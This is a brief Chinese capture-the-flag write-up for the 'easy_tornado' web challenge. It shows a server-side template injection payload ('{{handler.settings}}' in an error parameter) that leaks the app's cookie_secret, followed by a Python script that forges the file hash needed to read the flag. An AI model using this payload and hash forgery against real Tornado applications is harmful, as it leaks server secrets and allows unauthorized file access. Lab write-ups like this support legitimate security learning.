BUU-WEB-easy_tornado
查看主页的提示内容。
同时发现url的构成是filename和filehash构成。filename已经知道了,现在就剩下cookie_secret不知道了。
尝试不通过filehash访问/fllllllllllllag文件。
但是似乎报错了。
而且url也变得不一样了。
(查看别的大佬的wp发现原来是模板注入),通过报错的页面构建payload
buuoj.cn/error?msg={{handler.settings}}
就可以看见cookie_secret
剩下就将MD5加密。
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'dd8382b3-c8d2-45a7-8347-268211072aa9'
print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
filehash()
构建相应的url即可看到flag。